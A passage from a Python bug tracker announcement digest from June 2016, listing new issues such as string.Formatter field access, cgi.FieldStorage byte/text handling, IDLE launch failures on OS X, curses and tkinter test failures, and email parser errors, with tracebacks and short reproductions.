Phil Jeffes, docs at python priority: normal severity: normal status: open title: Grammatical Error in Documentation - Tarfile page type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 11:32:42 2016 From: report at bugs.python.org (Tommy Beadle) Date: Mon, 13 Jun 2016 15:32:42 +0000 Subject: [New-bugs-announce] [issue27307] string.Formatter does not support key/attribute access on unnumbered fields Message-ID: <1465831962.68.0.949862526307.issue27307@psf.upfronthosting.co.za> New submission from Tommy Beadle: Support for unnumbered fields in string.Formatter.format was added in http://bugs.python.org/issue13598, however, it does not support accessing an index or attribute of an unnumbered field like str.format does. Instead, it raises an unhelpful "KeyError: ''": In [1]: import string In [2]: fmt = string.Formatter() In [3]: fmt.format('{[0]}', ['a', 'b']) --------------------------------------------------------------------------- KeyError Traceback (most recent call last) in () ----> 1 fmt.format('{[0]}', ['a', 'b']) /usr/lib64/python2.7/string.pyc in format(*args, **kwargs) 557 raise TypeError("format() missing 1 required positional " 558 "argument: 'format_string'") --> 559 return self.vformat(format_string, args, kwargs) 560 561 def vformat(self, format_string, args, kwargs): /usr/lib64/python2.7/string.pyc in vformat(self, format_string, args, kwargs) 561 def vformat(self, format_string, args, kwargs): 562 used_args = set() --> 563 result = self._vformat(format_string, args, kwargs, used_args, 2) 564 self.check_unused_args(used_args, args, kwargs) 565 return result /usr/lib64/python2.7/string.pyc in _vformat(self, format_string, args, kwargs, used_args, recursion_depth) 583 # given the field_name, find the object it references 584 # and the argument it came from --> 585 obj, arg_used = self.get_field(field_name, args, kwargs) 586 used_args.add(arg_used) 587 /usr/lib64/python2.7/string.pyc in get_field(self, field_name, args, kwargs) 644 first, rest = field_name._formatter_field_name_split() 645 --> 646 obj = self.get_value(first, args, kwargs) 647 648 # loop through the rest of the field_name, doing /usr/lib64/python2.7/string.pyc in get_value(self, key, args, kwargs) 603 return args[key] 604 else: --> 605 return kwargs[key] 606 607 KeyError: '' The attached patch adds this functionality. aronancher asked in http://bugs.python.org/issue13598#msg218114 if the original patch was going to make it in to python 2.7. Perhaps that could get a look? ---------- components: Library (Lib) messages: 268452 nosy: tbeadle priority: normal severity: normal status: open title: string.Formatter does not support key/attribute access on unnumbered fields type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 14:45:31 2016 From: report at bugs.python.org (Marcel Hellkamp) Date: Mon, 13 Jun 2016 18:45:31 +0000 Subject: [New-bugs-announce] [issue27308] Inconsistency in cgi.FieldStorage() causes unicode/byte issue. Message-ID: <1465843531.5.0.166620691183.issue27308@psf.upfronthosting.co.za> New submission from Marcel Hellkamp: Discovered here: https://github.com/bottlepy/bottle/issues/856 If a multipart section has a "Content-Length" header, but no "filename" attribute in the "Content-Disposition" header, cgi.FieldStorage tries to write binary data to a temporary file opened in text-mode. The problem here is that cgi.FieldStorage tries to decide if something is a binary file-upload or a unicode form-field, but it does so based on two different headers in two different places. If the headers contradict each other (form-fields usually don't have a Content-Length, file-uploads usually have a filename), parsing breaks with a TypeError. Unfortunately, there are some HTTP client libraries out there that trigger this bug. Here is what happens: A "Content-Length" header causes `cgi.FieldStorage.length` to be is set (which is fine). https://hg.python.org/cpython/file/3.4/Lib/cgi.py#l550 If `length` has a value, `read_binary()` is used instead of `read_lines()` (which is questionable). https://hg.python.org/cpython/file/3.4/Lib/cgi.py#l733 `read_binary()` calls `make_file()` which creates the buffer file in text mode if it does not find a `filename` attribute in the "Content-Disposition" Header (which is somewhat okay). https://hg.python.org/cpython/file/3.4/Lib/cgi.py#l515 https://hg.python.org/cpython/file/3.4/Lib/cgi.py#l893 The bug is triggered if the last two steps disagree on the bytes vs. text question. ---------- components: Library (Lib) messages: 268460 nosy: Marcel Hellkamp priority: normal severity: normal status: open title: Inconsistency in cgi.FieldStorage() causes unicode/byte issue. type: crash versions: Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 17:59:56 2016 From: report at bugs.python.org (HYBRID BEING) Date: Mon, 13 Jun 2016 21:59:56 +0000 Subject: [New-bugs-announce] [issue27309] Visual Styles support Message-ID: <1465855196.42.0.576274211307.issue27309@psf.upfronthosting.co.za> New submission from [HYBRID BEING]: This answer (http://stackoverflow.com/questions/33792008/python-tkinter-ttk-themed-message-box/33801260#33801260) to the Stack Overflow question states that Tkinter's messageboxes use non-themed controls due to the fact that python.exe and pythonw.exe lack manifest which notifies Windows that application supports Visual Styles. Is there any specific reason it's not used? ---------- components: Windows messages: 268477 nosy: [HYBRID BEING], paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Visual Styles support type: behavior versions: Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 20:16:34 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jun 2016 00:16:34 +0000 Subject: [New-bugs-announce] [issue27310] 3.6.0a2 IDLE.app on OS X fails to launch, use command line idle3.6 instead Message-ID: <1465863394.35.0.0523596736089.issue27310@psf.upfronthosting.co.za> New submission from Ned Deily: For 3.6.0a2, when attempting to launch IDLE.app on OS X (for example, by double-clicking the IDLE icon in the "/Applications/Python 3.6" folder), IDLE does not launch. In the system.log there will be a log message similar to: (org.python.IDLE.917792[45897]): Service exited with abnormal code: 1 The problem is that the glue code (idlemain.py) used to launch IDLE from within the IDLE app bundle is trying to import macosxSupport which has been renamed as of 3.6.0a2. However, there is no longer any reason for the app bundle to import this module: this is vestigial code that I should have removed some releases ago when I refactored macosxSupport. It hasn't hurt up until now. As a workaround for 3.6.0a2, you can launch IDLE from a terminal command line: /usr/local/bin/idle3.6 or you *could* carefully msnuslly edit the file /Applications/Python 3.6/IDLE.app/Contents/Resources/idlemain.py to remove the two lines near the end: from idlelib import macosxSupport macosxSupport._appbundle = True Fix for 3.6.0a3 to follow. ---------- assignee: ned.deily components: IDLE messages: 268487 nosy: ned.deily priority: critical severity: normal stage: needs patch status: open title: 3.6.0a2 IDLE.app on OS X fails to launch, use command line idle3.6 instead versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 20:42:21 2016 From: report at bugs.python.org (John Hagen) Date: Tue, 14 Jun 2016 00:42:21 +0000 Subject: [New-bugs-announce] [issue27311] Incorrect documentation for zipfile.writestr() Message-ID: <1465864941.05.0.345060177149.issue27311@psf.upfronthosting.co.za> New submission from John Hagen: The function signature and description for zipfile.writestr is incorrect: https://docs.python.org/3.5/library/zipfile.html#zipfile.ZipFile.writestr See: https://github.com/python/cpython/blob/master/Lib/zipfile.py#L1610 The documentation calls the parameter 'bytes', but the real parameter name is 'data'. Looks like this was not fixed when the source changed to Python 3: https://github.com/python/cpython/blob/2.7/Lib/zipfile.py#L1208 ---------- assignee: docs at python components: Documentation messages: 268490 nosy: John Hagen, docs at python priority: normal severity: normal status: open title: Incorrect documentation for zipfile.writestr() versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 20:49:50 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jun 2016 00:49:50 +0000 Subject: [New-bugs-announce] [issue27312] test_setupapp (idlelib.idle_test.test_macosx.SetupTest) fails on OS X Message-ID: <1465865390.09.0.618470621806.issue27312@psf.upfronthosting.co.za> New submission from Ned Deily: Running tests of 3.6.0a2 with gui enabled on OS X result in various failures of the form: ====================================================================== ERROR: test_setupapp (idlelib.idle_test.test_macosx.SetupTest) (tktype='carbon') Call setupApp with each possible graphics type. ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_macosx.py", line 93, in test_setupapp macosx.setupApp(root, flist) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 245, in setupApp overrideRootMenu(root, flist) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 133, in overrideRootMenu closeItem = mainmenu.menudefs[0][1][-2] IndexError: list index out of range ====================================================================== ERROR: test_setupapp (idlelib.idle_test.test_macosx.SetupTest) (tktype='cocoa') Call setupApp with each possible graphics type. ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/idle_test/test_macosx.py", line 93, in test_setupapp macosx.setupApp(root, flist) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 245, in setupApp overrideRootMenu(root, flist) File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/idlelib/macosx.py", line 133, in overrideRootMenu closeItem = mainmenu.menudefs[0][1][-2] IndexError: list index out of range ---------- components: IDLE messages: 268492 nosy: ned.deily, terry.reedy priority: high severity: normal stage: needs patch status: open title: test_setupapp (idlelib.idle_test.test_macosx.SetupTest) fails on OS X versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 21:06:20 2016 From: report at bugs.python.org (Ned Deily) Date: Tue, 14 Jun 2016 01:06:20 +0000 Subject: [New-bugs-announce] [issue27313] test case failures in test_widgets.ComboboxTest.of test_ttk_guionly on OS X with Cocoa Tk 8.5.18 Message-ID: <1465866380.0.0.570463827001.issue27313@psf.upfronthosting.co.za> New submission from Ned Deily: On 3.6.0a2, 3.5.2rc1, and 2.7.12rc1: ====================================================================== FAIL: test_identify (tkinter.test.test_ttk.test_widgets.ComboboxTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/tkinter/test/test_ttk/test_widgets.py", line 332, in test_identify self.assertEqual(self.entry.identify(5, 5), "textarea") AssertionError: 'Combobox.button' != 'textarea' - Combobox.button + textarea On 3.6.0a2 and 3.5.2rc1: ====================================================================== FAIL: test_virtual_event (tkinter.test.test_ttk.test_widgets.ComboboxTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/tkinter/test/test_ttk/test_widgets.py", line 455, in test_virtual_event self.assertTrue(success) AssertionError: [] is not true ---------------------------------------------------------------------- ---------- components: Tests, Tkinter messages: 268494 nosy: ned.deily, serhiy.storchaka priority: normal severity: normal stage: needs patch status: open title: test case failures in test_widgets.ComboboxTest.of test_ttk_guionly on OS X with Cocoa Tk 8.5.18 versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jun 13 21:59:24 2016 From: report at bugs.python.org (Steve Dower) Date: Tue, 14 Jun 2016 01:59:24 +0000 Subject: [New-bugs-announce] [issue27314] Cannot install 3.5.2 with 3.6.0a1 installed Message-ID: <1465869564.71.0.178376895895.issue27314@psf.upfronthosting.co.za> New submission from Steve Dower: (Originally posted as a comment to issue26631 but confirmed separately.) For 3.5.2 and 3.6.0a2, I updated the installer for the launcher so that it is always shared between Python versions (i.e. if you install 3.6 followed by 3.5, it won't touch the launcher because there's a "newer" one there). However, because this didn't make it into 3.6.0a1, there is actually a version conflict that breaks installation. I've marked this a deferred blocker for now and brought in the two RMs. I believe (and will test with the RCs) that this won't recur with the latest versions. It can also be easily worked around by choosing not to install the launcher. We haven't seen this before because there have been no supported "downgrade" scenarios (i.e. installing 3.5.0 over 3.5.1 aborts at the start, well before this error would be seen). ---------- assignee: steve.dower components: Windows messages: 268500 nosy: larry, ned.deily, paul.moore, steve.dower, tim.golden, zach.ware priority: deferred blocker severity: normal stage: test needed status: open title: Cannot install 3.5.2 with 3.6.0a1 installed type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 02:27:53 2016 From: report at bugs.python.org (Matthias Klose) Date: Tue, 14 Jun 2016 06:27:53 +0000 Subject: [New-bugs-announce] [issue27315] pydoc: prefer the pager command in favor of the specifc less command Message-ID: <1465885673.67.0.270326980861.issue27315@psf.upfronthosting.co.za> New submission from Matthias Klose: pydoc: prefer the pager command in favor of the specifc less command. the pager command on Debian/Ubuntu systems is an alternative which is provided by specific pagers like less or more. References: http://unix.stackexchange.com/questions/5383/which-systems-have-pager-shortcut-alias ---------- components: Library (Lib) files: pydoc-use-pager.diff keywords: patch messages: 268524 nosy: doko priority: low severity: normal status: open title: pydoc: prefer the pager command in favor of the specifc less command versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43386/pydoc-use-pager.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 03:40:48 2016 From: report at bugs.python.org (Diaa Jad) Date: Tue, 14 Jun 2016 07:40:48 +0000 Subject: [New-bugs-announce] [issue27316] [PDB] NameError in list comprehension in PDB Message-ID: <1465890048.43.0.679878829802.issue27316@psf.upfronthosting.co.za> Changes by Diaa Jad : ---------- components: Extension Modules nosy: Diaa Jad priority: normal severity: normal status: open title: [PDB] NameError in list comprehension in PDB type: crash versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 07:49:30 2016 From: report at bugs.python.org (Sylvain Corlay) Date: Tue, 14 Jun 2016 11:49:30 +0000 Subject: [New-bugs-announce] [issue27317] Handling data_files: too much is removed in uninstall Message-ID: <1465904970.17.0.774152551079.issue27317@psf.upfronthosting.co.za> New submission from Sylvain Corlay: When specifying an empty list for the list of data_files in a given directory, the entire directory is being deleted on uninstall of the wheel, even if it contained other resources. Example: ``` from setuptools import setup setup(name='remover', data_files=[('share/plugins', [])]) ``` The expected behavior is that only the specified list of files is removed, (which is empty in that case). When the list is not empty, the behavior is the one expected. For example ``` from setuptools import setup setup(name='remover', data_files=[('share/plugins', ['foobar.json'])]) ``` will only remove `foobar.json` on uninstall and the `plugins` directory will not be removed if it is not empty. ---------- components: Distutils messages: 268551 nosy: dstufft, eric.araujo, sylvain.corlay priority: normal severity: normal status: open title: Handling data_files: too much is removed in uninstall type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 07:55:34 2016 From: report at bugs.python.org (=?utf-8?b?THVrw6HFoSBEb2t0b3I=?=) Date: Tue, 14 Jun 2016 11:55:34 +0000 Subject: [New-bugs-announce] [issue27318] Add support for symlinks to zipfile Message-ID: <1465905334.15.0.513827452466.issue27318@psf.upfronthosting.co.za> New submission from Luk?? Doktor: Currently the zipfile library extracts all files as simple files, even though it contains the information of the file attributes. This patch uses them to detect if the original file was a symlink and creates it when there is a support for symlink creation. ---------- components: Library (Lib) files: zipfile-symlink.patch keywords: patch messages: 268552 nosy: ldoktor priority: normal severity: normal status: open title: Add support for symlinks to zipfile type: enhancement versions: Python 2.7 Added file: http://bugs.python.org/file43388/zipfile-symlink.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 13:41:00 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 14 Jun 2016 17:41:00 +0000 Subject: [New-bugs-announce] [issue27319] Multiple item arguments for selection operations Message-ID: <1465926060.08.0.266570766159.issue27319@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: For now methods selection_set(), selection_add(), selection_remove() and selection_toggle() of ttk.TreeView take the single argument that should be either the single item id or a tuple or list of item ids. In contrary methods delete() and detach() take item ids as a variable number of arguments. The latter interface looks more pythonic, more consistent and errorproof. Proposed patch (based on Terry's suggestion in issue26386) makes selection methods accepting a variable number of arguments. For compatibility with older versions a tuple or list of item ids can be specified as a single argument, but this interface is deprecated (with long deprecation period). In addition deprecated other weird interface. For now the selection() method can take a subcommand name and items, for example tv.selection('add', 'ITEM1'). If the first argument is None, arguments are ignored, tv.selection(None, 'spam') equals to tv.selection(). Now all this is deprecated and will be TypeError in 3.7. ---------- components: Library (Lib), Tkinter files: treeview_selection_items.patch keywords: patch messages: 268574 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: patch review status: open title: Multiple item arguments for selection operations type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43390/treeview_selection_items.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 13:45:47 2016 From: report at bugs.python.org (Antony Lee) Date: Tue, 14 Jun 2016 17:45:47 +0000 Subject: [New-bugs-announce] [issue27320] ./setup.py --help-commands should sort extra commands Message-ID: <1465926347.78.0.17877088837.issue27320@psf.upfronthosting.co.za> New submission from Antony Lee: Currently, `./setup.py --help-commands` displays extra commands in a random (dict iteration, probably?) order, as can be seen with the following minimal example: from distutils.command.build_py import build_py from distutils.core import setup class foo(build_py): pass class bar(build_py): pass setup(cmdclass={"foo": foo, "bar": bar}) (`./setup.py --help-commands` will sometimes display `foo` before `bar`, sometimes `bar` before `foo`.) For consistency, and especially because setuptools adds a lot of extra commands, it would be nice if the help listing these extra commands was sorted instead. ---------- components: Distutils messages: 268576 nosy: Antony.Lee, dstufft, eric.araujo priority: normal severity: normal status: open title: ./setup.py --help-commands should sort extra commands versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jun 14 14:52:52 2016 From: report at bugs.python.org (Mark Sapiro) Date: Tue, 14 Jun 2016 18:52:52 +0000 Subject: [New-bugs-announce] [issue27321] Email parser creates a message object that can't be flattened Message-ID: <1465930372.53.0.0254623453508.issue27321@psf.upfronthosting.co.za> New submission from Mark Sapiro: The attached file, bad_email, can be parsed via msg = email.message_from_binary_file(open('bad_email', 'rb')) but then msg.as_string() prodices the following: Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.5/email/message.py", line 159, in as_string g.flatten(self, unixfrom=unixfrom) File "/usr/lib/python3.5/email/generator.py", line 115, in flatten self._write(msg) File "/usr/lib/python3.5/email/generator.py", line 189, in _write msg.replace_header('content-transfer-encoding', munge_cte[0]) File "/usr/lib/python3.5/email/message.py", line 559, in replace_header raise KeyError(_name) KeyError: 'content-transfer-encoding' ---------- components: email files: bad_email messages: 268580 nosy: barry, msapiro, r.david.murray priority: normal severity: normal status: open title: Email parser creates a message object that can't be flattened versions: Python 3.4, Python 3.5 Added file: http://bugs.python.org/file43391/bad_email _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 15 03:20:19 2016 From: report at bugs.python.org (Xavier de Gaye) Date: Wed, 15 Jun 2016 07:20:19 +0000 Subject: [New-bugs-announce] [issue27322] test_compile_path fails when python has been installed Message-ID: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za> New submission from Xavier de Gaye: ====================================================================== FAIL: test_compile_path (test.test_compileall.CompileallTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/xavier/src/python/default/Lib/test/test_compileall.py", line 118, in test_compile_path self.assertTrue(compileall.compile_path(quiet=2)) AssertionError: False is not true Changing the 'quiet' flag value to 0, gives: test_compile_path (test.test_compileall.CompileallTests) ... Skipping current directory Listing '/usr/local/lib/python36.zip'... Can't list '/usr/local/lib/python36.zip' Listing '/home/xavier/src/python/default/Lib'... Listing '/home/xavier/src/python/default/Lib/plat-x86_64-linux-gnu'... Can't list '/home/xavier/src/python/default/Lib/plat-x86_64-linux-gnu' Listing '/home/xavier/src/python/default/build/lib.linux-x86_64-3.6-pydebug'... Listing '/home/xavier/.local/lib/python3.6/site-packages'... Listing '/usr/local/lib/python3.6/site-packages'... Compiling '/usr/local/lib/python3.6/site-packages/easy_install.py'... *** PermissionError: [Errno 13] Permission denied: '/usr/local/lib/python3.6/site-packages/__pycache __/easy_install.cpython-36.pyc.139734863394416' FAIL Note that this test has already been fixed for another problem in issue 26101. ---------- components: Tests messages: 268607 nosy: brett.cannon, haypo, xdegaye priority: low severity: normal stage: needs patch status: open title: test_compile_path fails when python has been installed type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 15 04:15:11 2016 From: report at bugs.python.org (Xavier de Gaye) Date: Wed, 15 Jun 2016 08:15:11 +0000 Subject: [New-bugs-announce] [issue27323] ncurses putwin() fails in test_module_funcs Message-ID: <1465978511.0.0.353969305887.issue27323@psf.upfronthosting.co.za> New submission from Xavier de Gaye: This is with ncurses 6.0. $ ./python -m test -v -u curses -m test_module_funcs test_curses == CPython 3.6.0a2+ (default:e3bb87952c62, Jun 15 2016, 08:24:47) [GCC 6.1.1 20160501] == Linux-4.6.1-2-ARCH-x86_64-with-arch little-endian == hash algorithm: siphash24 64bit == /home/xavier/src/python/default/build/test_python_17932 Testing with flags: sys.flags(debug=0, inspect=0, interactive=0, optimize=0, dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0) Run tests sequentially 0:00:00 [1/1] test_curses test_module_funcs (test.test_curses.TestCurses) Test module-level functions ... ERROR ====================================================================== ERROR: test_module_funcs (test.test_curses.TestCurses) Test module-level functions ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/xavier/src/python/default/Lib/test/test_curses.py", line 212, in test_module_funcs self.stdscr.putwin(f) _curses.error: putwin() returned ERR ---------- components: Library (Lib) messages: 268608 nosy: serhiy.storchaka, twouters, xdegaye priority: normal severity: normal status: open title: ncurses putwin() fails in test_module_funcs type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 15 05:12:47 2016 From: report at bugs.python.org (Mark) Date: Wed, 15 Jun 2016 09:12:47 +0000 Subject: [New-bugs-announce] [issue27324] Error when building Python extension Message-ID: <1465981967.5.0.585980107476.issue27324@psf.upfronthosting.co.za> New submission from Mark: I'd like to build a C++ extension for Python. I took a simple C file from a tutorial and wrote the setup.py file. But when I run the command: python setup.py build_ext --inplace I get the following error: error: Unable to find vcvarsall.bat This file is located in "c:\Program Files (x86)\Microsoft Visual Studio 12.0\vc\vcvarsall.bat" but even when I run it and set all environment variables, python.exe still tries to find it. I added this path to the PATH but it didn't solve the issue. ---------- components: Distutils messages: 268612 nosy: Mark53, dstufft, eric.araujo priority: normal severity: normal status: open title: Error when building Python extension type: compile error versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 15 05:29:17 2016 From: report at bugs.python.org (Xavier de Gaye) Date: Wed, 15 Jun 2016 09:29:17 +0000 Subject: [New-bugs-announce] [issue27325] random failure of test_builtin Message-ID: <1465982957.82.0.785145157201.issue27325@psf.upfronthosting.co.za> New submission from Xavier de Gaye: Not sure if this is relevant, I am using: readline 6.3 ncurses 6.0 The test runs fine when run alone, with the 8991930 random seed: $ ./python -bb -E -Wd -m test -r -w -uall --randseed 8991930 ====================================================================== [3/1338] FAIL: test_input_tty_non_ascii (test.test_builtin.PtyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/xavier/src/python/default/Lib/test/test_builtin.py", line 1583, in test_input_tty_non_ ascii self.check_input_tty("prompt?", b"quux\xe9", "utf-8") File "/home/xavier/src/python/default/Lib/test/test_builtin.py", line 1574, in check_input_tty self.assertEqual(input_result, expected) AssertionError: 'quux' != 'quux\udce9' - quux + quux\udce9 ? + ====================================================================== FAIL: test_input_tty_non_ascii_unicode_errors (test.test_builtin.PtyTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/xavier/src/python/default/Lib/test/test_builtin.py", line 1587, in test_input_tty_non_ ascii_unicode_errors self.check_input_tty("prompt?", b"quux\xe9", "ascii") File "/home/xavier/src/python/default/Lib/test/test_builtin.py", line 1574, in check_input_tty self.assertEqual(input_result, expected) AssertionError: 'quux' != 'quux\udce9' - quux + quux\udce9 ? + ---------- components: Tests messages: 268613 nosy: martin.panter, xdegaye priority: normal severity: normal status: open title: random failure of test_builtin type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 15 06:26:36 2016 From: report at bugs.python.org (Xavier de Gaye) Date: Wed, 15 Jun 2016 10:26:36 +0000 Subject: [New-bugs-announce] [issue27326] SIGSEV in test_window_funcs of test_curses Message-ID: <1465986396.24.0.604076353768.issue27326@psf.upfronthosting.co.za> New submission from Xavier de Gaye: This is with ncurses 6.0. When running the test suite with: ./python -bb -E -Wd -m test -r -w -uall test_curses fails as reported in issue 27323 and when the test runner re-runs test_curses in verbose mode at the end to test for a transient error, it happens sometimes that test_curses crashes. See the gdb backtrace attached. ---------- components: Library (Lib) files: gdb.log messages: 268617 nosy: serhiy.storchaka, twouters, xdegaye priority: normal severity: normal status: open title: SIGSEV in test_window_funcs of test_curses type: crash versions: Python 3.6 Added file: http://bugs.python.org/file43400/gdb.log _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 15 17:38:39 2016 From: report at bugs.python.org (Jakub Wilk) Date: Wed, 15 Jun 2016 21:38:39 +0000 Subject: [New-bugs-announce] [issue27327] re documentation: typo "escapes consist of" Message-ID: <1466026719.49.0.251022149797.issue27327@psf.upfronthosting.co.za> New submission from Jakub Wilk: Documentation for the re module reads: Unknown escapes consist of '\' and ASCII letter now raise a deprecation warning ... This should be: ... escapes consisting of ... ---------- assignee: docs at python components: Documentation messages: 268630 nosy: docs at python, jwilk priority: normal severity: normal status: open title: re documentation: typo "escapes consist of" versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 00:36:20 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 16 Jun 2016 04:36:20 +0000 Subject: [New-bugs-announce] [issue27328] Documentation corrections for email defects Message-ID: <1466051780.69.0.693934528135.issue27328@psf.upfronthosting.co.za> New submission from Martin Panter: In trying to understand the defects from parsing an email Message object, and trying to use the raise_on_defect=True mode, I found a few inconsistencies with the documentation. I made a preliminary patch, but it may need adjusting. 1. There is no class called email.errors.Defect. My patch just removes the sentences mentioning this class. But an alternative might be to say handle/register_defect() are called with a subclass of MessageDefect. 2. Some defects are never raised, even if the policy says they should. I changed some of the wording to be less strict. But later I discovered Issue 24364, so perhaps this is actually an implementation bug instead. 3(a). MessageDefect is an exception class, and its subclasses are raised directly with raise_on_defect=True. However the documentation is explicit that defect classes are not exceptions. 3(b). If you assume defects are not exceptions, the documentation leads you to expect a defect will raise Message/Header(Parse)Error. But the defect exception classes that are raised are not even subclasses of MessageError. ---------- components: email files: defect-doc.patch keywords: patch messages: 268640 nosy: barry, martin.panter, r.david.murray priority: normal severity: normal status: open title: Documentation corrections for email defects versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43404/defect-doc.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 00:38:10 2016 From: report at bugs.python.org (Jeffrey Esquivel Sibaja) Date: Thu, 16 Jun 2016 04:38:10 +0000 Subject: [New-bugs-announce] [issue27329] Document behavior when CDLL is called with None as an argument on POSIX systems Message-ID: <1466051890.42.0.656698778102.issue27329@psf.upfronthosting.co.za> New submission from Jeffrey Esquivel Sibaja: On POSIX systems, when CDLL is called with None as an argument, it will call the system's dlopen() library function with NULL as it's filename parameter, causing the following behavior (as documented on dlopen's manpage): "If filename is NULL, then the returned handle is for the main program. When given to dlsym(), this handle causes a search for a symbol in the main program, followed by all shared objects loaded at program startup, and then all shared objects loaded by dlopen() with the flag RTLD_GLOBAL." But right now, this behavior is not explicitly documented anywhere which means users need to read ctypes' source code to find out if this would work. ---------- assignee: docs at python components: Documentation, ctypes messages: 268641 nosy: Jeffrey Esquivel Sibaja, docs at python priority: normal severity: normal status: open title: Document behavior when CDLL is called with None as an argument on POSIX systems type: enhancement versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 03:27:17 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 16 Jun 2016 07:27:17 +0000 Subject: [New-bugs-announce] [issue27330] Possible leaks in ctypes Message-ID: <1466062037.29.0.101937444984.issue27330@psf.upfronthosting.co.za> New submission from Serhiy Storchaka: Proposed patch fixes memory leaks in ctypes in case of errors. ---------- components: Extension Modules, ctypes files: ctypes_leaks.patch keywords: patch messages: 268646 nosy: amaury.forgeotdarc, belopolsky, meador.inge, serhiy.storchaka priority: normal severity: normal stage: patch review status: open title: Possible leaks in ctypes type: resource usage versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43406/ctypes_leaks.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 06:40:47 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 16 Jun 2016 10:40:47 +0000 Subject: [New-bugs-announce] [issue27331] Add a policy argument to email.mime.MIMEBase Message-ID: <1466073647.47.0.429372959399.issue27331@psf.upfronthosting.co.za> New submission from Berker Peksag: Quoting Barry's message msg268430 from issue 10839: On Jun 13, 2016, at 06:38 AM, Berker Peksag wrote: >I don't know if it's a good idea or API but can we add a 'policy' keyword >argument to email.mime.base.MIMEBase? Right now, this is the only way to >change the default policy without using high level functions like >email.message_from_string(): > > m = MIMEMultipart() > m.policy = email.policy.default I think we just need to plumb a `policy` argument through to the ultimate base class, email.message.Message ---------- components: email files: mimebase_policy.diff keywords: patch messages: 268653 nosy: barry, berker.peksag, r.david.murray priority: normal severity: normal stage: patch review status: open title: Add a policy argument to email.mime.MIMEBase type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43409/mimebase_policy.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 16 12:33:33 2016 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 16 Jun 2016 16:33:33 +0000 Subject: [New-bugs-announce] [issue27332] Clinic: first parameter for module-level functions should be PyObject*, not PyModuleDef* Message-ID: <1466094813.1.0.702835277792.issue27332@psf.upfronthosting.co.za> New submission from Petr Viktorin: Currently, Argument Clinic generates "PyModuleDef * module" for the first argument of module-level functions. But, the functions are passed the actual module object, not the ModuleDef. The correct type to use is 